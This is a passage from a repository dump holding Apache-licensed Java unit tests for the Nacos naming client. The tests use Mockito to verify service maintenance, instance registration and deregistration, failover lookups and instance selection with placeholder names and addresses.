NoneSelector));\n    }\n    \n    @Test\n    void testCreateService2() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        String groupName = \"groupName\";\n        //when\n        nacosNamingMaintainService.createService(serviceName, groupName);\n        //then\n        verify(serverProxy, times(1)).createService(argThat(new ArgumentMatcher<Service>() {\n            @Override\n            public boolean matches(Service service) {\n                return service.getName().equals(serviceName) && service.getGroupName().equals(groupName)\n                        && Math.abs(service.getProtectThreshold() - Constants.DEFAULT_PROTECT_THRESHOLD) < 0.1f\n                        && service.getMetadata().size() == 0;\n            }\n        }), argThat(o -> o instanceof NoneSelector));\n    }\n    \n    @Test\n    void testCreateService3() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        String groupName = \"groupName\";\n        float protectThreshold = 0.1f;\n        //when\n        nacosNamingMaintainService.createService(serviceName, groupName, protectThreshold);\n        //then\n        verify(serverProxy, times(1)).createService(argThat(new ArgumentMatcher<Service>() {\n            @Override\n            public boolean matches(Service service) {\n                return service.getName().equals(serviceName) && service.getGroupName().equals(groupName)\n                        && Math.abs(service.getProtectThreshold() - protectThreshold) < 0.1f\n                        && service.getMetadata().size() == 0;\n            }\n        }), argThat(o -> o instanceof NoneSelector));\n    }\n    \n    @Test\n    void testCreateService5() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        String groupName = \"groupName\";\n        float protectThreshold = 0.1f;\n        String expression = \"k=v\";\n        //when\n        nacosNamingMaintainService.createService(serviceName, groupName, protectThreshold, expression);\n        //then\n        verify(serverProxy, times(1)).createService(argThat(new ArgumentMatcher<Service>() {\n            @Override\n            public boolean matches(Service service) {\n                return service.getName().equals(serviceName) && service.getGroupName().equals(groupName)\n                        && Math.abs(service.getProtectThreshold() - protectThreshold) < 0.1f\n                        && service.getMetadata().size() == 0;\n            }\n        }), argThat(o -> ((ExpressionSelector) o).getExpression().equals(expression)));\n    }\n    \n    @Test\n    void testCreateService4() throws NacosException {\n        //given\n        Service service = new Service();\n        AbstractSelector selector = new NoneSelector();\n        //when\n        nacosNamingMaintainService.createService(service, selector);\n        //then\n        verify(serverProxy, times(1)).createService(service, selector);\n    }\n    \n    @Test\n    void testDeleteService1() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        //when\n        nacosNamingMaintainService.deleteService(serviceName);\n        //then\n        verify(serverProxy, times(1)).deleteService(serviceName, Constants.DEFAULT_GROUP);\n    }\n    \n    @Test\n    void testDeleteService2() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        String groupName = \"groupName\";\n        //when\n        nacosNamingMaintainService.deleteService(serviceName, groupName);\n        //then\n        verify(serverProxy, times(1)).deleteService(serviceName, groupName);\n    }\n    \n    @Test\n    void testUpdateService1() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        String groupName = \"groupName\";\n        float protectThreshold = 0.1f;\n        \n        //when\n        nacosNamingMaintainService.updateService(serviceName, groupName, protectThreshold);\n        //then\n        verify(serverProxy, times(1)).updateService(argThat(new ArgumentMatcher<Service>() {\n            @Override\n            public boolean matches(Service service) {\n                return service.getName().equals(serviceName) && service.getGroupName().equals(groupName)\n                        && Math.abs(service.getProtectThreshold() - protectThreshold) < 0.1f;\n            }\n        }), argThat(o -> o instanceof NoneSelector));\n    }\n    \n    @Test\n    void testUpdateService2() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        String groupName = \"groupName\";\n        float protectThreshold = 0.1f;\n        Map<String, String> meta = new HashMap<>();\n        meta.put(\"k\", \"v\");\n        \n        //when\n        nacosNamingMaintainService.updateService(serviceName, groupName, protectThreshold, meta);\n        //then\n        verify(serverProxy, times(1)).updateService(argThat(new ArgumentMatcher<Service>() {\n            @Override\n            public boolean matches(Service service) {\n                return service.getName().equals(serviceName) && service.getGroupName().equals(groupName)\n                        && Math.abs(service.getProtectThreshold() - protectThreshold) < 0.1f\n                        && service.getMetadata().size() == 1;\n            }\n        }), argThat(o -> o instanceof NoneSelector));\n    }\n    \n    @Test\n    void testUpdateService3() throws NacosException {\n        //given\n        Service service = new Service();\n        AbstractSelector selector = new NoneSelector();\n        //when\n        nacosNamingMaintainService.updateService(service, selector);\n        //then\n        verify(serverProxy, times(1)).updateService(service, selector);\n    }\n    \n    @Test\n    void testShutDown() throws NacosException {\n        //when\n        nacosNamingMaintainService.shutDown();\n        //then\n        verify(serverProxy, times(1)).shutdown();\n        verify(serverListManager, times(1)).shutdown();\n        verify(executorService, times(1)).shutdown();\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/NacosNamingServiceTest.java",
    "content": "/*\n *\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.client.naming;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.naming.listener.EventListener;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.api.selector.AbstractSelector;\nimport com.alibaba.nacos.client.naming.cache.ServiceInfoHolder;\nimport com.alibaba.nacos.client.naming.event.InstancesChangeEvent;\nimport com.alibaba.nacos.client.naming.event.InstancesChangeNotifier;\nimport com.alibaba.nacos.client.naming.remote.NamingClientProxy;\nimport com.alibaba.nacos.client.naming.remote.http.NamingHttpClientProxy;\nimport com.alibaba.nacos.client.naming.selector.NamingSelectorFactory;\nimport com.alibaba.nacos.client.naming.selector.NamingSelectorWrapper;\nimport com.alibaba.nacos.client.naming.utils.UtilAndComs;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.lang.reflect.Field;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.List;\nimport java.util.Properties;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\nimport static com.alibaba.nacos.client.naming.selector.NamingSelectorFactory.getUniqueClusterString;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertSame;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.anyBoolean;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.argThat;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.doReturn;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass NacosNamingServiceTest {\n    \n    @Mock\n    private NamingClientProxy proxy;\n    \n    @Mock\n    private InstancesChangeNotifier changeNotifier;\n    \n    @Mock\n    private ServiceInfoHolder serviceInfoHolder;\n    \n    private NacosNamingService client;\n    \n    @BeforeEach\n    void before() throws NoSuchFieldException, NacosException, IllegalAccessException {\n        Properties prop = new Properties();\n        prop.setProperty(\"serverAddr\", \"localhost\");\n        prop.put(PropertyKeyConst.NAMESPACE, \"test\");\n        client = new NacosNamingService(prop);\n        injectMocks(client);\n    }\n    \n    @AfterEach\n    void tearDown() throws NacosException {\n        client.shutDown();\n    }\n    \n    private void injectMocks(NacosNamingService client) throws NoSuchFieldException, IllegalAccessException {\n        // inject proxy\n        Field serverProxyField = NacosNamingService.class.getDeclaredField(\"clientProxy\");\n        serverProxyField.setAccessible(true);\n        try {\n            ((NamingHttpClientProxy) serverProxyField.get(client)).shutdown();\n        } catch (Throwable ignored) {\n        }\n        serverProxyField.set(client, proxy);\n        \n        // inject notifier\n        doReturn(InstancesChangeEvent.class).when(changeNotifier).subscribeType();\n        Field changeNotifierField = NacosNamingService.class.getDeclaredField(\"changeNotifier\");\n        changeNotifierField.setAccessible(true);\n        changeNotifierField.set(client, changeNotifier);\n        \n        // inject service info holder\n        Field serviceInfoHolderField = NacosNamingService.class.getDeclaredField(\"serviceInfoHolder\");\n        serviceInfoHolderField.setAccessible(true);\n        try {\n            ((ServiceInfoHolder) serviceInfoHolderField.get(client)).shutdown();\n        } catch (Throwable ignored) {\n        }\n        serviceInfoHolderField.set(client, serviceInfoHolder);\n    }\n    \n    @Test\n    void testRegisterInstanceSingle() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        String ip = \"1.1.1.1\";\n        int port = 10000;\n        //when\n        client.registerInstance(serviceName, ip, port);\n        //then\n        verify(proxy, times(1)).registerService(eq(serviceName), eq(Constants.DEFAULT_GROUP),\n                argThat(instance -> instance.getIp().equals(ip) && instance.getPort() == port\n                        && Math.abs(instance.getWeight() - 1.0) < 0.01f && instance.getClusterName()\n                        .equals(Constants.DEFAULT_CLUSTER_NAME)));\n    }\n    \n    @Test\n    void testRegisterInstanceSingleWithGroup() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        String ip = \"1.1.1.1\";\n        int port = 10000;\n        //when\n        client.registerInstance(serviceName, groupName, ip, port);\n        //then\n        verify(proxy, times(1)).registerService(eq(serviceName), eq(groupName),\n                argThat(instance -> instance.getIp().equals(ip) && instance.getPort() == port\n                        && Math.abs(instance.getWeight() - 1.0) < 0.01f && instance.getClusterName()\n                        .equals(Constants.DEFAULT_CLUSTER_NAME)));\n    }\n    \n    @Test\n    void testRegisterInstanceSingleWithCluster() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        String clusterName = \"cluster1\";\n        String ip = \"1.1.1.1\";\n        int port = 10000;\n        //when\n        client.registerInstance(serviceName, ip, port, clusterName);\n        //then\n        verify(proxy, times(1)).registerService(eq(serviceName), eq(Constants.DEFAULT_GROUP),\n                argThat(instance -> instance.getIp().equals(ip) && instance.getPort() == port\n                        && Math.abs(instance.getWeight() - 1.0) < 0.01f && instance.getClusterName()\n                        .equals(clusterName)));\n    }\n    \n    @Test\n    void testRegisterInstanceSingleFull() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        String clusterName = \"cluster1\";\n        String ip = \"1.1.1.1\";\n        int port = 10000;\n        //when\n        client.registerInstance(serviceName, groupName, ip, port, clusterName);\n        //then\n        verify(proxy, times(1)).registerService(eq(serviceName), eq(groupName),\n                argThat(instance -> instance.getIp().equals(ip) && instance.getPort() == port\n                        && Math.abs(instance.getWeight() - 1.0) < 0.01f && instance.getClusterName()\n                        .equals(clusterName)));\n    }\n    \n    @Test\n    void testRegisterInstanceByInstanceOnlyService() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        Instance instance = new Instance();\n        //when\n        client.registerInstance(serviceName, instance);\n        //then\n        verify(proxy, times(1)).registerService(serviceName, Constants.DEFAULT_GROUP, instance);\n    }\n    \n    @Test\n    void testRegisterInstanceByInstanceFullName() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        Instance instance = new Instance();\n        //when\n        client.registerInstance(serviceName, groupName, instance);\n        //then\n        verify(proxy, times(1)).registerService(serviceName, groupName, instance);\n    }\n    \n    @Test\n    void testRegisterInstanceByInstanceWithCluster() throws NacosException {\n        Throwable exception = assertThrows(NacosException.class, () -> {\n            \n            //given\n            String serviceName = \"service1\";\n            String groupName = \"group1\";\n            Instance instance = new Instance();\n            instance.setClusterName(\"cluster1,cluster2\");\n            //when\n            client.registerInstance(serviceName, groupName, instance);\n        });\n        assertTrue(exception.getMessage().contains(\n                \"Instance 'clusterName' should be characters with only 0-9a-zA-Z-. (current: cluster1,cluster2)\"));\n    }\n    \n    @Test\n    void testBatchRegisterInstance() throws NacosException {\n        Instance instance = new Instance();\n        String serviceName = \"service1\";\n        String ip = \"1.1.1.1\";\n        int port = 10000;\n        instance.setServiceName(serviceName);\n        instance.setEphemeral(true);\n        instance.setPort(port);\n        instance.setIp(ip);\n        List<Instance> instanceList = new ArrayList<>();\n        instanceList.add(instance);\n        //when\n        client.batchRegisterInstance(serviceName, Constants.DEFAULT_GROUP, instanceList);\n        //then\n        verify(proxy, times(1)).batchRegisterService(eq(serviceName), eq(Constants.DEFAULT_GROUP),\n                argThat(instances -> CollectionUtils.isEqualCollection(instanceList, instances)));\n    }\n    \n    @Test\n    void testBatchRegisterInstanceWithGroupNamePrefix() throws NacosException {\n        Instance instance = new Instance();\n        String serviceName = \"service1\";\n        String ip = \"1.1.1.1\";\n        int port = 10000;\n        instance.setServiceName(Constants.DEFAULT_GROUP + \"@@\" + serviceName);\n        instance.setEphemeral(true);\n        instance.setPort(port);\n        instance.setIp(ip);\n        List<Instance> instanceList = new ArrayList<>();\n        instanceList.add(instance);\n        //when\n        client.batchRegisterInstance(serviceName, Constants.DEFAULT_GROUP, instanceList);\n        //then\n        verify(proxy, times(1)).batchRegisterService(eq(serviceName), eq(Constants.DEFAULT_GROUP),\n                argThat(instances -> CollectionUtils.isEqualCollection(instanceList, instances)));\n    }\n    \n    @Test\n    void testBatchRegisterInstanceWithWrongGroupNamePrefix() throws NacosException {\n        Instance instance = new Instance();\n        String serviceName = \"service1\";\n        String ip = \"1.1.1.1\";\n        int port = 10000;\n        instance.setServiceName(\"WrongGroup\" + \"@@\" + serviceName);\n        instance.setEphemeral(true);\n        instance.setPort(port);\n        instance.setIp(ip);\n        List<Instance> instanceList = new ArrayList<>();\n        instanceList.add(instance);\n        //when\n        try {\n            client.batchRegisterInstance(serviceName, Constants.DEFAULT_GROUP, instanceList);\n        } catch (Exception e) {\n            assertTrue(e instanceof NacosException);\n            assertTrue(e.getMessage().contains(\"wrong group name prefix of instance service name\"));\n        }\n    }\n    \n    @Test\n    void testBatchDeRegisterInstance() throws NacosException {\n        Instance instance = new Instance();\n        String serviceName = \"service1\";\n        String ip = \"1.1.1.1\";\n        int port = 10000;\n        instance.setServiceName(serviceName);\n        instance.setEphemeral(true);\n        instance.setPort(port);\n        instance.setIp(ip);\n        List<Instance> instanceList = new ArrayList<>();\n        instanceList.add(instance);\n        //when\n        try {\n            client.batchDeregisterInstance(serviceName, Constants.DEFAULT_GROUP, instanceList);\n        } catch (Exception e) {\n            assertTrue(e instanceof NacosException);\n            assertTrue(e.getMessage().contains(\"not found\"));\n        }\n    }\n    \n    @Test\n    void testDeregisterInstanceSingle() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        String ip = \"1.1.1.1\";\n        int port = 10000;\n        //when\n        client.deregisterInstance(serviceName, ip, port);\n        //then\n        verify(proxy, times(1)).deregisterService(eq(serviceName), eq(Constants.DEFAULT_GROUP),\n                argThat(instance -> instance.getIp().equals(ip) && instance.getPort() == port\n                        && Math.abs(instance.getWeight() - 1.0) < 0.01f && instance.getClusterName()\n                        .equals(Constants.DEFAULT_CLUSTER_NAME)));\n    }\n    \n    @Test\n    void testDeregisterInstanceSingleWithGroup() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        String ip = \"1.1.1.1\";\n        int port = 10000;\n        //when\n        client.deregisterInstance(serviceName, groupName, ip, port);\n        //then\n        verify(proxy, times(1)).deregisterService(eq(serviceName), eq(groupName),\n                argThat(instance -> instance.getIp().equals(ip) && instance.getPort() == port\n                        && Math.abs(instance.getWeight() - 1.0) < 0.01f && instance.getClusterName()\n                        .equals(Constants.DEFAULT_CLUSTER_NAME)));\n    }\n    \n    @Test\n    void testDeregisterInstanceSingleWithCluster() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        String clusterName = \"cluster1\";\n        String ip = \"1.1.1.1\";\n        int port = 10000;\n        //when\n        client.deregisterInstance(serviceName, ip, port, clusterName);\n        //then\n        verify(proxy, times(1)).deregisterService(eq(serviceName), eq(Constants.DEFAULT_GROUP),\n                argThat(instance -> instance.getIp().equals(ip) && instance.getPort() == port\n                        && Math.abs(instance.getWeight() - 1.0) < 0.01f && instance.getClusterName()\n                        .equals(clusterName)));\n    }\n    \n    @Test\n    void testDeregisterInstanceSingleFull() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        String clusterName = \"cluster1\";\n        String ip = \"1.1.1.1\";\n        int port = 10000;\n        //when\n        client.deregisterInstance(serviceName, groupName, ip, port, clusterName);\n        //then\n        verify(proxy, times(1)).deregisterService(eq(serviceName), eq(groupName),\n                argThat(instance -> instance.getIp().equals(ip) && instance.getPort() == port\n                        && Math.abs(instance.getWeight() - 1.0) < 0.01f && instance.getClusterName()\n                        .equals(clusterName)));\n    }\n    \n    @Test\n    void testDeregisterInstanceByInstanceOnlyService() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        Instance instance = new Instance();\n        //when\n        client.deregisterInstance(serviceName, instance);\n        //then\n        verify(proxy, times(1)).deregisterService(serviceName, Constants.DEFAULT_GROUP, instance);\n    }\n    \n    @Test\n    void testDeregisterInstanceByInstanceFullName() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        Instance instance = new Instance();\n        //when\n        client.deregisterInstance(serviceName, groupName, instance);\n        //then\n        verify(proxy, times(1)).deregisterService(serviceName, groupName, instance);\n    }\n    \n    @Test\n    void testGetAllInstancesOnlyService() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        //when\n        ServiceInfo serviceInfo = new ServiceInfo();\n        serviceInfo.setName(serviceName);\n        serviceInfo.addHost(new Instance());\n        when(proxy.subscribe(serviceName, Constants.DEFAULT_GROUP, \"\")).thenReturn(serviceInfo);\n        List<Instance> result = client.getAllInstances(serviceName);\n        //then\n        assertEquals(serviceInfo.getHosts().get(0), result.get(0));\n    }\n    \n    @Test\n    void testGetAllInstancesFullName() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        //when\n        ServiceInfo serviceInfo = new ServiceInfo();\n        serviceInfo.setName(serviceName);\n        serviceInfo.setGroupName(groupName);\n        serviceInfo.addHost(new Instance());\n        when(proxy.subscribe(serviceName, groupName, \"\")).thenReturn(serviceInfo);\n        List<Instance> result = client.getAllInstances(serviceName, groupName);\n        //then\n        assertEquals(serviceInfo.getHosts().get(0), result.get(0));\n    }\n    \n    @Test\n    void testGetAllInstancesOnlyServiceNotSubscribe() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        //when\n        ServiceInfo serviceInfo = new ServiceInfo();\n        serviceInfo.setName(serviceName);\n        serviceInfo.addHost(new Instance());\n        when(proxy.queryInstancesOfService(serviceName, Constants.DEFAULT_GROUP, \"\", false)).thenReturn(serviceInfo);\n        List<Instance> result = client.getAllInstances(serviceName, false);\n        //then\n        assertEquals(serviceInfo.getHosts().get(0), result.get(0));\n    }\n    \n    @Test\n    void testGetAllInstancesFullNameNotSubscribe() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        //when\n        ServiceInfo serviceInfo = new ServiceInfo();\n        serviceInfo.setName(serviceName);\n        serviceInfo.setGroupName(groupName);\n        serviceInfo.addHost(new Instance());\n        when(proxy.queryInstancesOfService(serviceName, groupName, \"\", false)).thenReturn(serviceInfo);\n        List<Instance> result = client.getAllInstances(serviceName, groupName, false);\n        //then\n        assertEquals(serviceInfo.getHosts().get(0), result.get(0));\n        \n    }\n    \n    @Test\n    void testGetAllInstancesWithServiceAndClusters() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        //when\n        ServiceInfo serviceInfo = new ServiceInfo();\n        serviceInfo.setName(serviceName);\n        serviceInfo.addHost(mockInstance(\"cluster1\", false));\n        serviceInfo.addHost(mockInstance(Constants.DEFAULT_CLUSTER_NAME, false));\n        List<String> clusterList = Arrays.asList(\"cluster1\", \"cluster2\");\n        when(proxy.subscribe(serviceName, Constants.DEFAULT_GROUP, \"\")).thenReturn(serviceInfo);\n        List<Instance> result = client.getAllInstances(serviceName, clusterList);\n        //then\n        assertEquals(1, result.size());\n        assertEquals(serviceInfo.getHosts().get(0), result.get(0));\n    }\n    \n    @Test\n    void testGetAllInstancesWithFullNameAndClusters() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        // when\n        ServiceInfo serviceInfo = new ServiceInfo();\n        serviceInfo.setName(serviceName);\n        serviceInfo.setGroupName(groupName);\n        serviceInfo.addHost(mockInstance(\"cluster1\", false));\n        serviceInfo.addHost(mockInstance(Constants.DEFAULT_CLUSTER_NAME, false));\n        List<String> clusterList = Arrays.asList(\"cluster1\", \"cluster2\");\n        serviceInfo.getHosts().get(1).setClusterName(Constants.DEFAULT_CLUSTER_NAME);\n        when(proxy.subscribe(serviceName, groupName, \"\")).thenReturn(serviceInfo);\n        List<Instance> result = client.getAllInstances(serviceName, groupName, clusterList);\n        //then\n        assertEquals(1, result.size());\n        assertEquals(serviceInfo.getHosts().get(0), result.get(0));\n        \n    }\n    \n    @Test\n    void testGetAllInstancesWithServiceAndClustersNotSubscribe() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        //when\n        ServiceInfo serviceInfo = new ServiceInfo();\n        serviceInfo.setName(serviceName);\n        serviceInfo.addHost(mockInstance(\"cluster1\", false));\n        List<String> clusterList = Arrays.asList(\"cluster1\", \"cluster2\");\n        when(proxy.queryInstancesOfService(serviceName, Constants.DEFAULT_GROUP, \"cluster1,cluster2\",\n                false)).thenReturn(serviceInfo);\n        List<Instance> result = client.getAllInstances(serviceName, clusterList, false);\n        //then\n        assertEquals(serviceInfo.getHosts().get(0), result.get(0));\n    }\n    \n    @Test\n    void testGetAllInstancesWithFullNameAndClustersNotSubscribe() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        // when\n        ServiceInfo serviceInfo = new ServiceInfo();\n        serviceInfo.setName(serviceName);\n        serviceInfo.setGroupName(groupName);\n        serviceInfo.addHost(mockInstance(\"cluster1\", false));\n        List<String> clusterList = Arrays.asList(\"cluster1\", \"cluster2\");\n        when(proxy.queryInstancesOfService(serviceName, groupName, \"cluster1,cluster2\", false)).thenReturn(serviceInfo);\n        List<Instance> result = client.getAllInstances(serviceName, groupName, clusterList, false);\n        //then\n        assertEquals(serviceInfo.getHosts().get(0), result.get(0));\n    }\n    \n    @Test\n    void testGetAllInstanceFromFailover() throws NacosException {\n        when(serviceInfoHolder.isFailoverSwitch()).thenReturn(true);\n        ServiceInfo serviceInfo = new ServiceInfo(\"group1@@service1\");\n        serviceInfo.setHosts(Collections.singletonList(new Instance()));\n        when(serviceInfoHolder.getFailoverServiceInfo(\"service1\", \"group1\")).thenReturn(serviceInfo);\n        List<Instance> actual = client.getAllInstances(\"service1\", \"group1\", false);\n        verify(proxy, never()).queryInstancesOfService(anyString(), anyString(), anyString(), anyBoolean());\n        assertEquals(1, actual.size());\n        assertEquals(new Instance(), actual.get(0));\n    }\n    \n    @Test\n    void testGetAllInstanceFromFailoverEmpty() throws NacosException {\n        when(serviceInfoHolder.isFailoverSwitch()).thenReturn(true);\n        ServiceInfo serviceInfo = new ServiceInfo(\"group1@@service1\");\n        when(serviceInfoHolder.getFailoverServiceInfo(\"service1\", \"group1\")).thenReturn(serviceInfo);\n        List<Instance> actual = client.getAllInstances(\"service1\", \"group1\", false);\n        verify(proxy).queryInstancesOfService(anyString(), anyString(), anyString(), anyBoolean());\n        assertEquals(0, actual.size());\n    }\n    \n    @Test\n    void testGetAllInstanceWithCacheAndSubscribeException() throws NacosException {\n        String serviceName = \"service1\";\n        ServiceInfo serviceInfo = new ServiceInfo();\n        serviceInfo.setName(serviceName);\n        serviceInfo.addHost(new Instance());\n        when(serviceInfoHolder.getServiceInfo(serviceName, Constants.DEFAULT_GROUP)).thenReturn(serviceInfo);\n        when(proxy.subscribe(serviceName, Constants.DEFAULT_GROUP, \"\")).thenThrow(new NacosException(500, \"test\"));\n        List<Instance> result = client.getAllInstances(serviceName);\n        assertEquals(serviceInfo.getHosts().get(0), result.get(0));\n    }\n    \n    @Test\n    void testGetAllInstanceWithoutCacheAndSubscribeException() throws NacosException {\n        String serviceName = \"service1\";\n        when(proxy.subscribe(serviceName, Constants.DEFAULT_GROUP, \"\")).thenThrow(new NacosException(500, \"test\"));\n        assertThrows(NacosException.class, () -> client.getAllInstances(serviceName));\n    }\n    \n    @Test\n    void testGetAllInstanceWithCacheAndSubscribed() throws NacosException {\n        String serviceName = \"service1\";\n        ServiceInfo serviceInfo = new ServiceInfo();\n        serviceInfo.setName(serviceName);\n        serviceInfo.addHost(new Instance());\n        when(serviceInfoHolder.getServiceInfo(serviceName, Constants.DEFAULT_GROUP)).thenReturn(serviceInfo);\n        when(proxy.isSubscribed(serviceName, Constants.DEFAULT_GROUP, \"\")).thenReturn(true);\n        List<Instance> result = client.getAllInstances(serviceName);\n        assertEquals(serviceInfo.getHosts().get(0), result.get(0));\n    }\n    \n    @Test\n    void testSelectInstancesOnlyService() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        //when\n        ServiceInfo serviceInfo = new ServiceInfo();\n        serviceInfo.setName(serviceName);\n        serviceInfo.addHost(mockInstance(Constants.DEFAULT_CLUSTER_NAME, true));\n        when(proxy.subscribe(serviceName, Constants.DEFAULT_GROUP, \"\")).thenReturn(serviceInfo);\n        List<Instance> result = client.selectInstances(serviceName, true);\n        //then\n        assertEquals(serviceInfo.getHosts().get(0), result.get(0));\n    }\n    \n    @Test\n    void testSelectInstancesFullName() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        //when\n        ServiceInfo serviceInfo = new ServiceInfo();\n        serviceInfo.setName(serviceName);\n        serviceInfo.addHost(mockInstance(Constants.DEFAULT_CLUSTER_NAME, true));\n        when(proxy.subscribe(serviceName, groupName, \"\")).thenReturn(serviceInfo);\n        List<Instance> result = client.selectInstances(serviceName, groupName, true);\n        //then\n        assertEquals(serviceInfo.getHosts().get(0), result.get(0));\n    }\n    \n    @Test\n    void testSelectInstancesOnlyServiceNotSubscribe() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        //when\n        ServiceInfo serviceInfo = new ServiceInfo();\n        serviceInfo.setName(serviceName);\n        serviceInfo.addHost(mockInstance(Constants.DEFAULT_CLUSTER_NAME, true));\n        when(proxy.queryInstancesOfService(serviceName, Constants.DEFAULT_GROUP, \"\", false)).thenReturn(serviceInfo);\n        List<Instance> result = client.selectInstances(serviceName, true, false);\n        //then\n        assertEquals(serviceInfo.getHosts().get(0), result.get(0));\n    }\n    \n    @Test\n    void testSelectInstancesFullNameNotSubscribe() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        //when\n        ServiceInfo serviceInfo = new ServiceInfo();\n        serviceInfo.setName(serviceName);\n        serviceInfo.addHost(mockInstance(Constants.DEFAULT_CLUSTER_NAME, true));\n        when(proxy.queryInstancesOfService(serviceName, groupName, \"\", false)).thenReturn(serviceInfo);\n        List<Instance> result = client.selectInstances(serviceName, groupName, true, false);\n        //then\n        assertEquals(serviceInfo.getHosts().get(0), result.get(0));\n        \n    }\n    \n    @Test\n    void testSelectInstancesWithServiceAndClusters() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        //when\n        ServiceInfo serviceInfo = new ServiceInfo();\n        serviceInfo.setName(serviceName);\n        serviceInfo.addHost(mockInstance(\"cluster1\", true));\n        serviceInfo.addHost(mockInstance(\"cluster1\", false));\n        List<String> clusterList = Arrays.asList(\"cluster1\", \"cluster2\");\n        when(proxy.subscribe(serviceName, Constants.DEFAULT_GROUP, \"\")).thenReturn(serviceInfo);\n        List<Instance> result = client.selectInstances(serviceName, clusterList, true);\n        //then\n        assertEquals(1, result.size());\n        assertEquals(serviceInfo.getHosts().get(0), result.get(0));\n    }\n    \n    @Test\n    void testSelectInstancesWithFullNameAndClusters() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        final String groupName = \"group1\";\n        //when\n        ServiceInfo serviceInfo = new ServiceInfo();\n        serviceInfo.setName(serviceName);\n        serviceInfo.addHost(mockInstance(\"cluster1\", true));\n        serviceInfo.addHost(mockInstance(\"cluster1\", false));\n        List<String> clusterList = Arrays.asList(\"cluster1\", \"cluster2\");\n        when(proxy.subscribe(serviceName, groupName, \"\")).thenReturn(serviceInfo);\n        List<Instance> result = client.selectInstances(serviceName, groupName, clusterList, true);\n        //then\n        assertEquals(1, result.size());\n        assertEquals(serviceInfo.getHosts().get(0), result.get(0));\n        \n    }\n    \n    @Test\n    void testSelectInstancesWithServiceAndClustersNotSubscribe() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        //when\n        ServiceInfo serviceInfo = new ServiceInfo();\n        serviceInfo.setName(serviceName);\n        serviceInfo.addHost(mockInstance(\"cluster1\", true));\n        serviceInfo.addHost(mockInstance(\"cluster1\", false));\n        List<String> clusterList = Arrays.asList(\"cluster1\", \"cluster2\");\n        when(proxy.queryInstancesOfService(serviceName, Constants.DEFAULT_GROUP, \"cluster1,cluster2\",\n                false)).thenReturn(serviceInfo);\n        List<Instance> result = client.selectInstances(serviceName, clusterList, true, false);\n        //then\n        assertEquals(1, result.size());\n        assertEquals(serviceInfo.getHosts().get(0), result.get(0));\n    }\n    \n    @Test\n    void 